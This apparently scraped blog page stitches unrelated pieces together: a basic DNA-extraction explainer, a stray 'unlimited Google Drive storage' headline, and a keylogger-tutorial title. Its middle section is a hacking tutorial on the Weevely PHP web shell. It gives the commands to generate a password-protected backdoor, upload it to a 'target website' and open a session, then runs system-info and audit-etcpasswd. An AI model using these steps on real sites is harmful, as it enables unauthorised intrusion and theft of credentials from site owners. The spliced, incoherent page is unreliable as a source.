Human growing and connected to the computer

 Human growing and connected to the computer

How to extract DNA

 DNA extraction

 is a routine procedure used to isolate DNA from the nucleus of cells.

Scientists can buy ready-to-use DNA extraction kits. These kits help extract DNA from particular cell types or sample types. However, they can be expensive to use routinely, so many labs have their own methods for DNA extraction

What does DNA extraction involve?

Step 1. Breaking cells open to release the DNA

The cells in a sample are separated from each other, often by a physical means such as grinding or vortexing, and put into a solution containing salt. The positively charged sodium ions in the salt help protect the negatively charged phosphate groups that run along the backbone of the DNA.

A detergent is then added. The detergent breaks down the lipids in the cell membrane and nuclei. DNA is released as these membranes are disrupted.

Step 2. Separating DNA from proteins and other cellular debris

To get a clean sample of DNA, it’s necessary to remove as much of the cellular debris as possible. This can be done by a variety of methods. Often a protease ( protein enzyme) is added to degrade DNA-associated proteins and other cellular proteins. Alternatively, some of the cellular debris can be removed by filtering the sample.

Step 3. Precipitating the DNA with an alcohol

Finally, ice-cold alcohol (either ethanol or isopropanol) is carefully added to the DNA sample. DNA is soluble in water but insoluble in the presence of salt and alcohol. By gently stirring the alcohol layer with a sterile pipette, a precipitate becomes visible and can be spooled out. If there is lots of DNA, you may see a stringy, white precipitate.

Step 4. Cleaning the DNA

The DNA sample can now be further purified (cleaned). It is then resuspended in a slightly alkaline buffer and ready to use.

Step 5. Confirming the presence and quality of the DNA

For further lab work, it is important to know the concentration and quality of the DNA.

Optical density readings taken by a spectrophotometer can be used to determine the concentration and purity of DNA in a sample. Alternatively, gel electrophoresis can be used to show the presence of DNA in your sample and give an indication of its quality.

What can this DNA be used for?

Once extracted, DNA can be used for molecular analyses including PCR, electrophoresis, sequencing, fingerprinting and cloning.

How to get Unlimited Google drive storage 💯%

 How to get Unlimited Google drive storage 💯%

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How To Hack Websites By Uploading PHP Backdoor Shell

This post is about Website Hacking with the help of backdoor .Today we learn how to hack website using PHP backdoor shell. Weevely is the tool which help to inject backdoor into any PHP website.

We upload file into website such as Doc ,PDF file and picture and you can upload own make PHP page into website ,This tool find weakness into your target if the site is vulnerable you can upload any thing into the website .if we upload malware type thing its harm target website.how to hack website using PHP backdoor shell.

What is backdoor?

In Ethical hacking Hacking and cyber Security World the Backdoor is a method by which attacker access anyone computer ,website etc without their permission ,once attacker successfully upload backdoor in target website ,they created a session into website .

What is Weevely?

weevely is a web based software that provide PHP web shell which upload to a website and backdoor executed.keep in mind it,s work on PHP website ,their is million of website in world that has PHP Back end.

Features:

• Shell access to the target
• SQL console pivoting on the target
• HTTP/HTTPS proxy to browse through the target
• Upload and download files
• Spawn reverse and direct TCP shells
• Audit remote target security
• Port scan pivoting on target
• Mount the remote filesystem
• Bruteforce SQL accounts pivoting on the target

Weevely tool is already installed in Kali Linux Os .if you use other platform use the following command to install

git clone https://github.com/eppina/weevely3

First of all open your Kali machine open terminal and type “weevely”

weevely show us info for help type “weevely –help”

This help show us weevely work in Three mode.

• Generate
• Terminal
• Session

How To Generate Backdoor

Now we generate backdoor for our target website website type the following command

weevely generate [ backdoor password ] [ path and name of backdoor]

Firstly we generate backdoor for target website.

weevely generate 12345 /root/Desktop/backdoor

Finally we generated backdoor successfully ,Due to security issue I am not able to show you practical how to inject backdoor ,i tell you all working command which will used for creating session ,upload the PHP backdoor into your target website ,Lot of website providing upload option .

when we successfully upload the backdoor now its time to execute the backdoor type the following command

weevely [url of target location where is upload ] password of backdoor ]

weevely [url of target location where is upload ] password of backdoor ]

Eg:
weevely http://192.168.1.109/dvwa/hackable/uploads/hackers-arise-backdoor.php 12345

Its successfully executed as a result our PHP shell open automatically.

Type the “help” command see what weevely can do .

Type the following command one bye one:

• system-info
• audit-etcpasswd

Finally we Upload PHP file into website and Execute this file using weevely tool.

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Tutorials to make python keylogger

 Tutorials to make python keylogger